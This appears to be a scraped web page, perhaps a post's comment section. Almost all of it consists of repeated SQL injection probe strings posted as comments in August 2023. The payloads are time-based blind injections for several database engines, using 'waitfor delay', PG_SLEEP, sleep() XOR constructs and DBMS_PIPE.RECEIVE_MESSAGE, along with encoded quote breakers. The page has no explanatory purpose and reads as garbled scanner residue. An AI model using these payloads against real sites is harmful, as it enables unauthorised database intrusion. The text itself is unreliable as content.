August 1, 2019 200 × 40
1
555
-1); waitfor delay ‘0:0:15’ —
bMS8VmNs’) OR 864=(SELECT 864 FROM PG_SLEEP(15))–
if(now()=sysdate(),sleep(15),0)
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
1 waitfor delay ‘0:0:15’ —
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1%2527%2522
1
August 17, 2023 at 1:18 am555
August 17, 2023 at 1:31 am1
August 17, 2023 at 1:42 am555
August 17, 2023 at 1:33 am1
August 17, 2023 at 1:48 am-1); waitfor delay ‘0:0:15’ —
August 17, 2023 at 1:34 ambMS8VmNs’) OR 864=(SELECT 864 FROM PG_SLEEP(15))–
August 17, 2023 at 1:35 am555
August 17, 2023 at 1:35 am555
August 17, 2023 at 1:38 am1
August 17, 2023 at 1:41 am555
August 17, 2023 at 1:24 am555
August 17, 2023 at 1:32 am555
August 17, 2023 at 1:32 am555
August 17, 2023 at 1:33 am555
August 17, 2023 at 1:33 amif(now()=sysdate(),sleep(15),0)
August 17, 2023 at 1:33 am0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
August 17, 2023 at 1:34 am0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
August 17, 2023 at 1:34 am1 waitfor delay ‘0:0:15’ —
August 17, 2023 at 1:34 am1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
August 17, 2023 at 1:35 am1
August 17, 2023 at 2:00 am555
August 17, 2023 at 1:24 am1
August 17, 2023 at 1:32 am555
August 17, 2023 at 1:25 am1%2527%2522
August 17, 2023 at 1:26 am1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
August 17, 2023 at 1:30 am555
August 17, 2023 at 1:28 am